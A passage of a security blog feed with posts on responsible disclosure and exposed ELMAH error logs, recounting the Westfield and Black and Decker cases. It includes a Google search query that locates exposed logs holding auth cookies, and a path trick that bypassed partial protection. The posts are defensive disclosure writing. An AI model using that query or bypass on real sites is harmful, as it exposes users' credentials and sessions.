&lt;p&gt;Disclosure is indeed hard.&lt;/p&gt;  &lt;img src="http://feeds.feedburner.com/~r/TroyHunt/~4/93WStnpJ4b0" height="1" width="1"/&gt;</content><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3977663544337573923/posts/default/5618788053731845060?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3977663544337573923/posts/default/5618788053731845060?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/TroyHunt/~3/93WStnpJ4b0/understanding-xss-input-sanitisation.html" title="Understanding XSS – input sanitisation semantics and output encoding contexts" /><author><name>Troy Hunt</name><uri>https://plus.google.com/111846329802076778489</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh3.googleusercontent.com/-r4_CjHr7f7Q/AAAAAAAAAAI/AAAAAAAAEiM/0rQBorSp1ho/s512-c/photo.jpg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://lh3.ggpht.com/-HQJEtHP7vlU/UaZit9xh1KI/AAAAAAAAFYo/Zs_aoCI6mN4/s72-c/image12.png?imgmax=800" height="72" width="72" /><feedburner:origLink>http://www.troyhunt.com/2013/05/understanding-xss-input-sanitisation.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DU8FQ30yfyp7ImA9WhFTGEQ.&quot;"><id>tag:blogger.com,1999:blog-3977663544337573923.post-7321185207875583551</id><published>2013-05-29T06:38:00.001+10:00</published><updated>2013-06-11T06:56:52.397+10:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2013-06-11T06:56:52.397+10:00</app:edited><title>The responsibility of public disclosure</title><content type="html">&lt;p&gt;There’s this debate that goes round and round about a process that’s commonly known as responsible disclosure or in other words, notifying the owner of a system that their security sucks and giving them the opportunity to fix it rather than telling the great unwashed masses and letting them have at a vulnerable system. The theory goes that responsible disclosure is the &lt;em&gt;ethical &lt;/em&gt;thing to do whilst airing website security dirty laundry publicly makes you an irresponsible cowboy, or something to that effect.&lt;/p&gt; &lt;p&gt;But of course these things are not black and white. On a daily basis I’ll see tweets about how a website is storing credentials in plain text: “Hey [insert name here], what’s the go with emailing my password, aren’t you protecting it?”. Is this “responsible”? I think it’s fair to say it’s not &lt;em&gt;irresponsible&lt;/em&gt;, I mean the risk is obvious, right?&lt;/p&gt; &lt;p&gt;How about security risks such as an XSS flaw which might be a little more grey, but is still shared frequently in public? It’s not exactly going to land you the mother lode of sensitive data in a couple of clicks, but it could be used as part of a more sophisticated attack. Or move right on to the other end of the scale where serious flaws lead to serious breaches. It might be default credentials on an admin system or publicly accessible backups, the point is it’s in another realm of risk and impact altogether.&lt;/p&gt; &lt;p&gt;Anyway, the reason for this post is that a number of events over recent times have given me pause for what &lt;em&gt;I&lt;/em&gt; consider responsible disclosure. These events are numerous and include incidents where I’ve ticked every responsibility box in the book and incidents where I’ve been accused of being, well, a cowboy. I wanted to capture – with as much cohesion as possible – what I consider to be responsible disclosure because sure enough, I’ll be called on this again in the future and I want to have a clear point of view that simply won’t fit into 140 characters.&lt;/p&gt; &lt;p&gt;I’d like to start with two disclosure stories that took very different tacks with different outcomes for both the sites and me personally. Here’s what happened:&lt;/p&gt;&lt;a name='more'&gt;&lt;/a&gt; &lt;h4&gt;Disclosure story 1: Westfield&lt;/h4&gt; &lt;p&gt;Two years ago I wrote about &lt;a href="http://www.troyhunt.com/2011/09/find-my-car-find-your-car-find.html"&gt;Find my car, find your car, find everybody’s car; the Westfield’s iPhone app privacy smorgasbord&lt;/a&gt;. In short, the Westfield shopping centre here in Sydney down at Bondi had an app to help you find your car but it readily disclosed the license plate of every vehicle in the centre’s 2,550 car spaces via an improperly protected JSON feed. Oops.&lt;/p&gt; &lt;p&gt;This went straight up onto my blog and subsequently, &lt;a href="http://www.theaustralian.com.au/australian-it/westfield-iphone-app-in-privacy-fiasco/story-e6frgakx-1226137939073"&gt;straight into the national media&lt;/a&gt;. I posted it in the morning and just a few hours later the system was offline. Shortly after that I had a call from the (rather sheepish) developers of it in the US. By mid-afternoon the General Manager had &lt;a href="http://www.troyhunt.com/2011/09/find-my-car-find-your-car-find.html#comment-309304475"&gt;commented on my blog post&lt;/a&gt; and later made contact personally. He called me that night and we had a very constructive discussion; there wasn’t any anger or malice, it was entirely “Holy shit, this isn’t cool, how do we fix it” which IMHO, was entirely the correct response as it lead to the system getting fixed very quickly.&lt;/p&gt; &lt;p&gt;tl;dr: the risk was removed almost instantly, the developers were open and receptive, the management was appreciative and hopefully developers everywhere got to learn a thing or two about securing their APIs. Perhaps most importantly though, at-risk customers were spared as quickly as possible from the potential ramifications of disclosing their personal movements.&lt;/p&gt; &lt;h4&gt;Disclosure story 2: Black and Decker&lt;/h4&gt; &lt;p&gt;This is very timely as it all took place last week. As I wrote about just yesterday in &lt;a href="http://www.troyhunt.com/2013/05/security-is-hard-insecurity-is-easy.html"&gt;Security is hard, insecurity is easy – demonstrating a simple misconfiguration risk&lt;/a&gt;, Black and Decker had exposed ELMAH logs. Their unfortunate architecture decision to store credentials in cookies (you heard me) meant these were recorded in the logs which numbered 50,000+. So here we have a veritable treasure trove of usernames, passwords, IP addresses, request headers, internal code and other titbits – clearly something to be disclosed privately and obviously given the significance they’d take it seriously and respond promptly. Or so I thought.&lt;/p&gt; &lt;p&gt;After recording the video for the aforementioned post on Monday afternoon last week (these are all Sydney times), I quickly reached out to Black and Decker on Twitter:&lt;/p&gt; &lt;p&gt;&lt;a href="https://twitter.com/troyhunt/status/336384092880908288"&gt;&lt;img width="487" height="259" title="" style="border-top: 0px; border-right: 0px; background-image: none; border-bottom: 0px; padding-top: 0px; padding-left: 0px; border-left: 0px; display: inline; padding-right: 0px" alt="@Black_DeckerUS is there a private channel I can report a serious security vulnerability on your website through? Or follow so I can DM." src="http://lh3.ggpht.com/-JaFPvXVVXsQ/UaUVZmBvs6I/AAAAAAAAFWY/AnK83TgrJME/SNAGHTML3270d742.png?imgmax=800" border="0"&gt;&lt;/a&gt;&lt;/p&gt; &lt;p&gt;I didn’t hear anything back over the next few hours but given their Twitter account apparently doesn’t come online until 8am in Maryland (22:00 for me), that’s not surprising. Nearly an hour after they should have come online and still no contact so I send an email after finding a support address on the website:&lt;/p&gt; &lt;p&gt;&lt;a href="http://lh4.ggpht.com/-qhr0qx3cDrQ/UaUVbNeeLiI/AAAAAAAAFWg/lJhkQWN1r6Q/s1600-h/SNAGHTML30565432.png"&gt;&lt;img width="731" height="373" title="" style="border-top: 0px; border-right: 0px; background-image: none; border-bottom: 0px; padding-top: 0px; padding-left: 0px; border-left: 0px; display: inline; padding-right: 0px" alt="First email to Black and Decker" src="http://lh6.ggpht.com/-i0--pnMa9o0/UaUVc9HZ4bI/AAAAAAAAFWo/-Ac7AOQ-Q6s/SNAGHTML3056543_thumb.png?imgmax=800" border="0"&gt;&lt;/a&gt;&lt;/p&gt; &lt;p&gt;The next morning I get up and there’s a DM waiting for me that had come in at 04:12:&lt;/p&gt; &lt;p&gt;&lt;a href="http://lh5.ggpht.com/-dkt5OSfvE7E/UaUVe8D8XbI/AAAAAAAAFWw/lagW2UwG-98/s1600-h/image72.png"&gt;&lt;img width="406" height="88" title="" style="border-top: 0px; border-right: 0px; background-image: none; border-bottom: 0px; padding-top: 0px; padding-left: 0px; border-left: 0px; display: inline; padding-right: 0px" alt="Feel free to send us contact information and we can have someone reach out to you." src="http://lh3.ggpht.com/-q3nNUAnBhDU/UaUVga6khhI/AAAAAAAAFW4/Iqaea8HOWKw/image7_thumb.png?imgmax=800" border="0"&gt;&lt;/a&gt;&lt;/p&gt; &lt;p&gt;Great! So I write up a response about checking their ELMAH and… can’t send, not following. Great, back to public Twitter then:&lt;/p&gt; &lt;p&gt;&lt;a href="https://twitter.com/troyhunt/status/336589704919142400"&gt;&lt;img width="487" height="232" title="" style="border-top: 0px; border-right: 0px; background-image: none; border-bottom: 0px; padding-top: 0px; padding-left: 0px; border-left: 0px; display: inline; padding-right: 0px" alt="@Black_DeckerUS hi, I got your DM re website security but I can't respond privately unless you follow me." src="http://lh5.ggpht.com/-5PK06aj3MP4/UaUVgwiMDRI/AAAAAAAAFXA/Xn66sEJBqls/SNAGHTML3edc8742.png?imgmax=800" border="0"&gt;&lt;/a&gt;&lt;/p&gt; &lt;p&gt;No response a few hours later so it’s back to the masses to try and get some help:&lt;/p&gt; &lt;p&gt;&lt;a href="https://twitter.com/troyhunt/status/336634077211938818"&gt;&lt;img width="487" height="292" title="" style="border-top: 0px; border-right: 0px; background-image: none; border-bottom: 0px; padding-top: 0px; padding-left: 0px; border-left: 0px; display: inline; padding-right: 0px" alt="I'm having no success privately getting through to @Black_DeckerUS about a very major vuln, anyone got a contact there?" src="http://lh6.ggpht.com/-ukJmY9oHJQI/UaUVhbkHH5I/AAAAAAAAFXI/6LZ2V6iQkNk/SNAGHTML40373542.png?imgmax=800" border="0"&gt;&lt;/a&gt;&lt;/p&gt; &lt;p&gt;Night comes and goes, still no response so I try again the next day:&lt;/p&gt; &lt;p&gt;&lt;a href="https://twitter.com/troyhunt/status/336958960785563648"&gt;&lt;img width="487" height="319" title="" style="border-top: 0px; border-right: 0px; background-image: none; border-bottom: 0px; padding-top: 0px; padding-left: 0px; border-left: 0px; display: inline; padding-right: 0px" alt="Still can't get a response from @Black_DeckerUS re a very serious vuln in their website - can't DM and no response to email. Any contacts?" src="http://lh6.ggpht.com/-2WdWqCemezc/UaUVh09dM2I/AAAAAAAAFXM/KlWGyKXd8F0/SNAGHTML41afbc42.png?imgmax=800" border="0"&gt;&lt;/a&gt;&lt;/p&gt; &lt;p&gt;It’s now 38 hours since I’ve tried making contact through two different channels, they know there’s “a serious security vulnerability” as they’ve DM’d me (without a follow-back so I can respond privately) and I still can’t get through. Time to go local and see if someone down here can help:&lt;/p&gt; &lt;p&gt;&lt;a href="http://lh6.ggpht.com/-06tch22MM8k/UaUVifbHQuI/AAAAAAAAFXY/Ut3MJA9X41M/s1600-h/SNAGHTML5426d832.png"&gt;&lt;img width="731" height="365" title="" style="border-top: 0px; border-right: 0px; background-image: none; border-bottom: 0px; padding-top: 0px; padding-left: 0px; border-left: 0px; display: inline; padding-right: 0px" alt="Second email to Black and Decker" src="http://lh6.ggpht.com/-OVU8NR1SR9c/UaUVjKrwd2I/AAAAAAAAFXg/n4iyOvGsx8c/SNAGHTML5426d83_thumb.png?imgmax=800" border="0"&gt;&lt;/a&gt;&lt;/p&gt; &lt;p&gt;The day passes and nobody down here responds then &lt;a href="https://twitter.com/anders_abel/status/337062950521163776"&gt;a friendly Twitter follower suggests contacting the admin address on the DNS record&lt;/a&gt; so it’s back to the email again:&lt;/p&gt; &lt;p&gt;&lt;a href="http://lh6.ggpht.com/-oEOzRRCY_tI/UaUVkrEaPyI/AAAAAAAAFXo/-xhfFy_HnuI/s1600-h/SNAGHTML1f6d31532.png"&gt;&lt;img width="731" height="371" title="" style="border-top: 0px; border-right: 0px; background-image: none; border-bottom: 0px; padding-top: 0px; padding-left: 0px; border-left: 0px; display: inline; padding-right: 0px" alt="Third email to Black and Decker" src="http://lh6.ggpht.com/-nh-1Hmq79Ps/UaUVmkbqMTI/AAAAAAAAFXw/8E0rhRNohQ8/SNAGHTML1f6d3153_thumb.png?imgmax=800" border="0"&gt;&lt;/a&gt;&lt;/p&gt; &lt;p&gt;Still nothing come through overnight, let’s give Twitter another go a put a bit more urgency into it:&lt;/p&gt; &lt;p&gt;&lt;a href="https://twitter.com/troyhunt/status/337307898755547136"&gt;&lt;img width="487" height="323" title="" style="border-top: 0px; border-right: 0px; background-image: none; border-bottom: 0px; padding-top: 0px; padding-left: 0px; border-left: 0px; display: inline; padding-right: 0px" alt="I *still* can't get hold of @Black_DeckerUS re a major security risk. You've got publicly accessible customer data; email or DM for details." src="http://lh5.ggpht.com/-VFjJhllwHuw/UaUVoMizhgI/AAAAAAAAFX4/RfhZN7edL9k/SNAGHTML541013a42.png?imgmax=800" border="0"&gt;&lt;/a&gt;&lt;/p&gt; &lt;p&gt;Another friendly follower &lt;a href="https://twitter.com/tifkin_/status/337210616806785024"&gt;suggests using LinkedIn to find someone&lt;/a&gt; so I jump over there and manage to find an “Information Technology and Risk Management Executive” who actually has a common previous employer to me and several common contacts. This looks like a winner:&lt;/p&gt; &lt;p&gt;&lt;img width="519" height="402" title="" style="border-top: 0px; border-right: 0px; background-image: none; border-bottom: 0px; padding-top: 0px; padding-left: 0px; border-left: 0px; display: inline; padding-right: 0px" alt="Contacting via LinkedIn" src="http://lh3.ggpht.com/-3n7g-Lz3MG0/UaUVpl3XS7I/AAAAAAAAFYA/dW7n5OmCZok/image2.png?imgmax=800" border="0"&gt;&lt;/p&gt; &lt;p&gt;This is now the 9th time I’ve tried to get in touch with Black and Decker. Finally &lt;em&gt;someone&lt;/em&gt; &lt;em&gt;from Microsoft&lt;/em&gt; responds via Twitter and advises they have a relationship with Black and Decker. I privately email their @microsoft.com address on the evening of the 23rd (now the 10th contact) including the &lt;a href="https://code.google.com/p/elmah/wiki/SecuringErrorLogPages"&gt;ELMAH Securing Error Log Pages&lt;/a&gt; link and they promptly pass it on. Come the morning of the 24th, here’s what happens:&lt;/p&gt; &lt;p&gt;&lt;img width="609" height="469" title="" style="border-top: 0px; border-right: 0px; background-image: none; border-bottom: 0px; padding-top: 0px; padding-left: 0px; border-left: 0px; display: inline; padding-right: 0px" alt="ELMAH log now protected at /elmah.axd" src="http://lh4.ggpht.com/-GUFHmN1dpUc/UaUVqiTwnEI/AAAAAAAAFYI/TCOXa70NmcA/image311.png?imgmax=800" border="0"&gt;&lt;/p&gt; &lt;p&gt;Success! Looks like I’ve finally gotten through! Except, well, I hadn’t really:&lt;/p&gt; &lt;p&gt;&lt;img width="609" height="469" title="" style="border-top: 0px; border-right: 0px; background-image: none; border-bottom: 0px; padding-top: 0px; padding-left: 0px; border-left: 0px; display: inline; padding-right: 0px" alt="ELMAH log not protected at /foo/elmah.axd" src="http://lh6.ggpht.com/-yrbc41G-kZE/UaUVsPH0tRI/AAAAAAAAFYQ/C1SGG9iHc3s/image61.png?imgmax=800" border="0"&gt;&lt;/p&gt; &lt;p&gt;This is a little issue that came up in &lt;a href="http://www.troyhunt.com/2012/01/aspnet-session-hijacking-with-google.html"&gt;my original post on session hijacking with Google and ELMAH&lt;/a&gt; and it’s because the handler is registered globally yet explicitly secured only when it appears in the root. It’s a simple fix that’s (now) explained very clearly on the ELMAH site (which I’d sent them), the handler just needs to be registered beneath the location in which it’s used.&lt;/p&gt; &lt;p&gt;So the 11th contact goes out and it’s back to Microsoft because I &lt;em&gt;still&lt;/em&gt; haven’t had any personal contact from Black and Decker. I had a response from Microsoft just 9 minutes later even though it was about 19:30 local so kudos to them for their proactivity. Remember, this was all on the morning of the 24th (Friday last week) but by late that evening my time ELMAH was still accessible. Granted, it was evening over in the US but we’re now more than 100 hours into this saga.&lt;/p&gt; &lt;p&gt;Finally, come Saturday morning, ELMAH is secure. That’s four and a half days of time wasted from initial contact to securing the risk. Remember, this involved customers’ usernames and passwords on public display, no doubt in many cases the same ones they use for their email or to do their banking.&lt;/p&gt; &lt;p&gt;4 days after everything was resolved and 9 days since I first raised the risk, I’ve also not had any response from Black and Decker. Zero. Zip. Nada. Not a “Thanks mate” nor a “Mighty nice of you to point this out privately”, no “How might we fix this?” or “Is there anything else we should look at?”, just absolute silence. Now I don’t privately disclose in order to achieve any sort of personal benefit, but by my moral compass when you do someone a favour – particularly one that could save them a great deal of inconvenience – a little gratitude in response goes a long way.&lt;/p&gt; &lt;p&gt;This incident plus the Westfield one and literally dozens of others – some I’ve written about, many I’ve not – lead me to wonder: what circumstances predicate themselves to private disclosure? When is public a better option? I broke it down into three measures, let me explain.&lt;/p&gt; &lt;h4&gt;1. What is the purpose of disclosing the risk?&lt;/h4&gt; &lt;p&gt;Particularly when a public disclosure lands on the front page of the news and consequently on the CTO’s (or even CEO’s) desk, inevitably the question comes up – why’d he do it? What’s in it for him? What does this guy want from us?&lt;/p&gt; &lt;p&gt;On numerous occasions, after making a public disclosure I’ve had private responses which clearly indicate the sender is under the impression that I’m after money. You can almost read “Ok, how much do you want to help us fix this thing?” between the lines of an otherwise polite but curt response. This can &lt;em&gt;never&lt;/em&gt; be the intent of disclosure, doing this would amount to nothing less than running an extortion racket.&lt;/p&gt; &lt;p&gt;The purpose &lt;em&gt;cannot&lt;/em&gt; be self-serving, when this is the case there’s nothing to stop you from running around calling out every single vuln you find and to hell with the consequences. Whilst there’s unarguably a reputation boost from a carefully constructed public disclosure, there has to be a “greater good”.&lt;/p&gt; &lt;p&gt;The single most significant beneficiary of public disclosures I make are software developers. I want to help these guys understand the ins and outs of website security and nothing gets their attention more than publicly calling out examples. But just as importantly, you have to help them understand &lt;em&gt;why&lt;/em&gt; the risks are, well, risks. Also just as importantly, you need help them understand how to fix those risks, not just stand there and give a “Ha Ha” Nelson Muntz style, that’s really not going to help anyone.&lt;/p&gt; &lt;p&gt;&lt;img width="400" height="250" title="" style="border-top: 0px; border-right: 0px; background-image: none; border-bottom: 0px; padding-top: 0px; padding-left: 0px; border-left: 0px; display: inline; padding-right: 0px" alt="Nelson Muntz - Ha Ha!" src="http://lh5.ggpht.com/-lj7gA6jC_dE/UaUVt-0MNsI/AAAAAAAAFYY/8KQ3957hMOs/seven_bullies_062.png?imgmax=800" border="0"&gt;&lt;/p&gt; &lt;p&gt;Of course the other beneficiary is those who would be impacted if the risk was exploited. If disclosing the risk will lead to the site owner rectifying it &lt;em&gt;before&lt;/em&gt; customers can be adversely impacted, then that’s a good thing. Which leads me neatly to the second point.&lt;/p&gt; &lt;h4&gt;2. Who is the victim if it’s exploited?&lt;/h4&gt; &lt;p&gt;When a vuln is disclosed, naturally there is a risk that someone will then exploit it. Who is impacted if that happens is extremely important because in the scheme of exploited website risks there are really two potential victims: the users of the site and the site owner.&lt;/p&gt; &lt;p&gt;In this context, website users are innocent parties, they’re simply using a service and expecting that their info will be appropriately protected. Public disclosure must not impact these guys, it’s simply not fair. Dumping passwords alongside email addresses or usernames, for example, is going to hurt this group. Yes, they shouldn’t haven’t reused their credentials on their email account but they did and now their mail is pwned. That’s a completely irresponsible action on behalf of those who disclosed the info and it’s going to seriously impact ordinary, everyday people.&lt;/p&gt; &lt;p&gt;On the other hand, disclosing XSS or TLS flaws doesn’t pose an immediate threat to consumers, an attacker still needs to go out and weaponise the risk. This might involve the attacker constructing phishing scams or organising themselves to the extent that they can actually go and sniff packets from at-risk users. Of course this happens, but it takes some effort, at least enough effort so that the site owner can fix or disable the feature in advance.&lt;/p&gt; &lt;p&gt;On the other hand, risks that impact only the site owner are, in my humble opinion, fairer game. The site owner is ultimately accountable for the security position of their asset and it makes not one iota of difference that the development was outsourced or that they rushed the site or that the devs just simply didn’t understand security. When the impact of disclosure is constrained to those who are ultimately accountable for the asset, whether that impact be someone else exploiting the risk or simply getting some bad press, they’ve only got themselves to blame.&lt;/p&gt; &lt;h4&gt;3. What is the likelihood of the risk being fixed?&lt;/h4&gt; &lt;p&gt;There are many instances on this blog where I’ve written about poor security. There are many instances &lt;em&gt;not&lt;/em&gt; on this blog where I’ve privately written to website owners about poor security. Overwhelmingly, risks I’ve disclosed publicly have been taken seriously and equally overwhelming, risks I’ve disclosed privately haven’t been. There are exceptions, but there is no arguing the pattern and it’s exemplified by the Westfield and Black and Decker examples I opened with.&lt;/p&gt; &lt;p&gt;When a risk is disclosed publicly, the website owner is on notice. There is no arguing the increased visibility public disclosure creates and there is also no arguing that it expedites the remediation process on behalf of the site owner. Partly this is due to the increased likelihood of the risk being exploited and partly it’s because in the face of public naming and shaming, the site owner is somewhat compelled to respond.&lt;/p&gt; &lt;p&gt;The other thing that tends to happen when a risk is made public is that the one lone voice that was the discloser suddenly becomes a chorus of like-minded individuals. For example, &lt;a href="https://twitter.com/UKTesco/status/229542141012107265"&gt;this tweet&lt;/a&gt; has now been RT’d over 2,100 times and as you’ll see from the responses, generated an awful lot of noise about the woeful state of Tesco’s security. You can’t ignore that sort of pressure (certainly &lt;a href="http://www.itpro.co.uk/642391/ico-to-investigate-tesco-over-website-security-concerns"&gt;the ICO didn’t&lt;/a&gt;) and without doubt it increases the pressure on an organisation to address their security.&lt;/p&gt; &lt;h4&gt;Moving forward&lt;/h4&gt; &lt;p&gt;I hope this gives some insight into my personal view of disclosure, I wouldn’t have approached Black and Decker any differently (it doesn’t satisfy rule 2 on victim impact) and likewise I wouldn’t have approached Westfield any differently (the results speak for themselves). Sometimes &lt;a href="https://twitter.com/zimzat/status/328996255537696768"&gt;people will have views that differ&lt;/a&gt; but frankly, if I can satisfy those measures I’ve described above then I can sleep at night with confidence that on balance, security on the web has benefited.&lt;/p&gt;  &lt;img src="http://feeds.feedburner.com/~r/TroyHunt/~4/fhxbf8LPLU8" height="1" width="1"/&gt;</content><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3977663544337573923/posts/default/7321185207875583551?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3977663544337573923/posts/default/7321185207875583551?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/TroyHunt/~3/fhxbf8LPLU8/the-responsibility-of-public-disclosure.html" title="The responsibility of public disclosure" /><author><name>Troy Hunt</name><uri>https://plus.google.com/111846329802076778489</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh3.googleusercontent.com/-r4_CjHr7f7Q/AAAAAAAAAAI/AAAAAAAAEiM/0rQBorSp1ho/s512-c/photo.jpg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://lh3.ggpht.com/-JaFPvXVVXsQ/UaUVZmBvs6I/AAAAAAAAFWY/AnK83TgrJME/s72-c/SNAGHTML3270d742.png?imgmax=800" height="72" width="72" /><feedburner:origLink>http://www.troyhunt.com/2013/05/the-responsibility-of-public-disclosure.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CUIMSH86cCp7ImA9WhBaFkQ.&quot;"><id>tag:blogger.com,1999:blog-3977663544337573923.post-5060705133330260734</id><published>2013-05-28T08:26:00.001+10:00</published><updated>2013-05-28T08:26:29.118+10:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2013-05-28T08:26:29.118+10:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Security" /><title>Security is hard, insecurity is easy – demonstrating a simple misconfiguration risk</title><content type="html">&lt;p&gt;One could argue that security is hard. Not all aspects of it, mind you, but the prevalence of website hacks would seem to indicate that plenty of people are struggling to get it right.&lt;/p&gt; &lt;p&gt;On the other hand, &lt;em&gt;insecurity&lt;/em&gt; can be very easy. What I mean by this is that sometimes it can be the smallest change to a website that blows the security wide open.&lt;/p&gt; &lt;p&gt;Last week someone passed me a private note about Black and Decker, or more to the point, they passed me a link to an unsecured ELMAH log. For the uninitiated, ELMAH logs and their discovery via Google is something &lt;a href="http://www.troyhunt.com/2012/01/aspnet-session-hijacking-with-google.html"&gt;I’ve written about before&lt;/a&gt;. In fact in this very case it was someone simply searching for some info on ELMAH that lead to this discovery – it’s that easy.&lt;/p&gt; &lt;p&gt;Now I want to stress that &lt;strong&gt;&lt;em&gt;this is not intended to be all about Black and Decker&lt;/em&gt;&lt;/strong&gt; and before posting this I did privately contact them and they have now correctly secured the logs. In fact &lt;strong&gt;&lt;em&gt;there are tens of thousands of &lt;a href="https://www.google.com/search?q=inurl%3Aelmah.axd+ASPXAUTH"&gt;Google results for publicly exposed ELMAH logs&lt;/a&gt;&lt;/em&gt;&lt;/strong&gt; so clearly this is a very prevalent risk. Let me first share the video on what you can do with exposed ELMAH logs then I’ll come back around to the point of this post:&lt;/p&gt;&lt;iframe width="100%" height="480" src="http://www.youtube.com/embed/6ipVqkUm6Gw?feature=player_embedded" frameborder="0" allowfullscreen&gt;&lt;/iframe&gt;&lt;a name='more'&gt;&lt;/a&gt; &lt;p&gt;That should put things into context regarding the risk of exposed ELMAH logs and it goes &lt;em&gt;well &lt;/em&gt;beyond just session hijacking. For example the risk includes access to:&lt;/p&gt; &lt;ol&gt; &lt;li&gt;Customer email addresses as they’re stored in the cookie&lt;/li&gt; &lt;li&gt;IP address of users (including of individual customers per the previous point)&lt;/li&gt; &lt;li&gt;Passwords (these are also sometimes stored in cookies)&lt;/li&gt; &lt;li&gt;Referrers (discloses entry points into the site)&lt;/li&gt; &lt;li&gt;Any other data on the site that is accessible if the session can be hijacked&lt;/li&gt;&lt;/ol&gt; &lt;p&gt;Keep in mind that there are tens of thousands of log entries in this particular site so there’s quite a profile an attacker could have built up.&lt;/p&gt; &lt;p&gt;Here’s the point I want to make: &lt;strong&gt;&lt;em&gt;a frankly massive security hole like exposed ELMAH logs can occur as a result of the smallest configuration change&lt;/em&gt;&lt;/strong&gt; and it begs the following questions:&lt;/p&gt; &lt;p&gt;&lt;strong&gt;Is there any continuous security scanning of the site?&lt;/strong&gt; This was a very basic error and in fact my own very basic &lt;a href="https://asafaweb.com/"&gt;ASafaWeb&lt;/a&gt; scanner could have caught this on a daily scheduled scan and reported it within 24 hours of the risk occurring. Other commercial products could have identified a far broader range of risks but the point is that security scanning needs to be &lt;em&gt;continuous&lt;/em&gt;, not just a one off, not on an annual basis, not just on major changes but &lt;em&gt;all the time&lt;/em&gt;.&lt;/p&gt; &lt;p&gt;&lt;strong&gt;Who can release changes?&lt;/strong&gt; You’ve gotta wonder if a case like this was just a junior dev not realising what they were doing. Mind you, I’ve seen plenty of experienced devs make similar mistakes but it begs the question: just how easy is it to slip something through into a production? Is anyone actually overseeing the process? Or does one person have a few beers on a Friday afternoon and push the “publish” button?&lt;/p&gt; &lt;p&gt;&lt;strong&gt;What’s the post-release review process?&lt;/strong&gt; It’s &lt;em&gt;extremely&lt;/em&gt; easy for configuration related vulnerabilities to slip through during the release process. For example a developer just wants to quickly check the details of an obscure error in a production environment so they release with verbose errors (i.e. turn off custom errors in ASP.NET) and promise themselves they’ll lock it down later. The release process should ideally catch this and set off all sorts of alarms.&lt;/p&gt; &lt;p&gt;&lt;strong&gt;Are you contactable for when things go wrong?&lt;/strong&gt; I hadn’t planned on including this section originally but given the way things played out (more on that another time), it does illustrate an important point. It was &lt;em&gt;extremely&lt;/em&gt; difficult to get in touch with anyone from Black and Decker using social media and published email addresses and I eventually got through to them in a very round-a-bout fashion. It’s very hard for people to do the right thing and disclose privately when they can’t get in touch with you!&lt;/p&gt; &lt;p&gt;Black and Decker presented a good opportunity to illustrate the risk because of their sheer scale. This is a multinational organisation pulling in $6B a year and employing 27,000 people and something so simple slipped past them, is it any wonder that so many companies with such fewer resources struggle? And I’ll stress again – there is (unfortunately) nothing very unique about them having a risk of this nature – it’s alarmingly common as it’s so simple to do. Insecurity is indeed, easy.&lt;/p&gt;  &lt;img src="http://feeds.feedburner.com/~r/TroyHunt/~4/1gV-R5Qrv3k" height="1" width="1"/&gt;</content><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3977663544337573923/posts/default/5060705133330260734?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3977663544337573923/posts/default/5060705133330260734?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/TroyHunt/~3/1gV-R5Qrv3k/security-is-hard-insecurity-is-easy.html" title="Security is hard, insecurity is easy – demonstrating a simple misconfiguration risk" /><author><name>Troy Hunt</name><uri>https://plus.google.com/111846329802076778489</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh3.googleusercontent.com/-r4_CjHr7f7Q/AAAAAAAAAAI/AAAAAAAAEiM/0rQBorSp1ho/s512-c/photo.jpg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://img.youtube.com/vi/6ipVqkUm6Gw/default.jpg" height="72" width="72" /><feedburner:origLink>http://www.troyhunt.com/2013/05/security-is-hard-insecurity-is-easy.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CEMBR3syeCp7ImA9WhBaFkk.&quot;"><id>tag:blogger.com,1999:blog-3977663544337573923.post-6810841247035997208</id><published>2013-05-27T18:14:00.001+10:00</published><updated>2013-05-27T18:14:16.590+10:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2013-05-27T18:14:16.590+10:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Security" /><category scheme="http://www.blogger.com/atom/ns#" term="Speaking" /><title>Talking with Scott Hanselman on honeypots, pineapples and SSL</title><content type="html">&lt;p&gt;For many of you, &lt;a href="http://www.hanselman.com/"&gt;Scott Hanselman&lt;/a&gt; will need no introduction and is a very familiar face, voice and writer. Among the many good things that Scott does to support the web development community (and that’s not just the Microsoft folks either), he’s also the man behind the &lt;a href="http://www.hanselminutes.com/372/are-you-secure-wifi-honeypots-pineapples-and-ssl-with-troy-hunt"&gt;Hanselminutes podcast&lt;/a&gt; which I was very happy to join him on recently. In fact this remains one of the very few podcasts where I actually listen to every episode – regardless of the direct relevance to me – simply because it’s delivered in such a professional manner and I know I’m going to learn something each time.&lt;/p&gt; &lt;p&gt;The podcast has gone out under the title &lt;a href="http://www.hanselminutes.com/372/are-you-secure-wifi-honeypots-pineapples-and-ssl-with-troy-hunt"&gt;Are you secure? WiFi Honeypots, Pineapples and SSL with Troy Hunt&lt;/a&gt; which is pretty self-explanatory. As per the title, we mostly discuss the risks presented by using public wifi plus the importance of HTTPS for those of us who are building web apps. Let me share some supplementary material which I’ve either touched on in that talk or will be of relevance to interested listeners:&lt;/p&gt; &lt;ol&gt; &lt;li&gt;&lt;a href="http://www.troyhunt.com/2011/01/ssl-is-not-about-encryption.html"&gt;SSL is not about encryption&lt;/a&gt;&lt;/li&gt; 